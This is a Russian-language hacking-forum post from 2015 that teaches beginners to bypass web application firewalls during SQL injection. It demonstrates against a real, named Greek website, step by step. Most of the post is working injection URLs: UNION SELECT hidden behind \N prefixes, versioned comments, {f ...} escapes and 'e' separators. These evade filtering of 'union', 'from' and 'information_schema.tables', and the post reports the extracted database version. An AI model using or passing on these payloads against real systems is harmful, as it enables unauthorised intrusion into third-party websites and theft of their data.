ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

16.05.2015, 03:28
|
|
Guest
Сообщений: n/a
Провел на форуме: 35015
Репутация:
57
|
|
Предисловие:
Добрый день люд хакерский) Решил начать постить свою серию постов "для нубиков таких как я" )
За рание хочу попросить извинение за ошибки в правописание русского языка.Уж так сложилось что школе у меня было печально с русским языком,и я не в России живу.Не работаю в области ИТ.Поэтому если увидете где то много ошибок - не кричите в своих коментах школота)А если вы адмим или модератор то лучше тихонечко исправте)
И так я не так давно начал увлекаться скулями и все чаще натыкаюсь на различные WAF(Web Application Firewall) и по этому иногда имею плохое настроения когда WAF не дает разкрутить скуль.
И вот собственно говоря решил запостит пару методов обхода таких неудобняков)
Содержание поста:
WAF ByPass (\N , e , {})
WAF ByPass
И так для демонстрации возмем какой то сайт и будем пробовать стандартные методы Waf ByPass
Код HTML:
HTML:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78
Посчетаем столбцы.Как это делать писать не буду.Статей на ачате море.
И так у нас получилось 16 столбцов.
Пробуем сделать вывод командой Union Select
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
В ответ получаем:
"Not Acceptable! "
Обычно такую ошибку генерирует ModSecurity.
Как обойти ModSecurity?Обычно запрос типа:/*!50000union*/ /*!50000select*/ или union distinct|distinctrow select
Думаю стоит попробывать:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -
ModSecurity обходиться,но тут какой то другой WAF..
Давайте сделаем несколько тестов:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union
В ответ:
403
Union блокируется (
Пробуем так:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union
403
Попрежнему блочит.
Пробуем:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=aunion
Не блочит) Уже лучше)
Но как сделать что бы не было ошибки синтаксиса 1064?
Попробуем использовать \N
Пробуем:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
Вуаля)) Сработало) 10 столбец уязвим...
Попробуем посмотреть версию
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--
403
опять блочит(
Но в помощь нам прийдет еще одна хитрость, которую можно использовать в эксплуатации SQLi.
Это функция mysql которая називается TIMESTAMP
которая обычно определяет тип строки.Типо того что то:
Код:
Code:
SELECT TIMESTAMP 'str';
или так
SELECT { ts column};
И так пробуем в нашем запросе:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16--
Опа) Вот и версия 5.5.40-36.1
Еще одна проблема которую мы попытаемся решить - это как получить таблицы?
Пробуем запрос
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16 from--
403
Waf блокирует from.
Существует метод обойти с помощью добавление точки к последнему столбцу и дальше пишем все без пробелов:
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from--
Обычно ModSecurity блочит information_schema.tables.Но мы же помним про TIMESTAMP
Пробуем:
http://blue-planet.gr/gallery_zoom.p...Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}--
Эх..WAF блочит словосочитание "schema.tables"
Попробуем решить эту проблему.
Когда Вебсервер парсит запрос,он использует такой формат DB.Tables.Column
Сбалансируем запрос с помощью 'e'. В MySql
information_schema 9.e.tables = information_schema.tables
Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from {f information_schema 0.e.tables}--
ByPassed ))
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|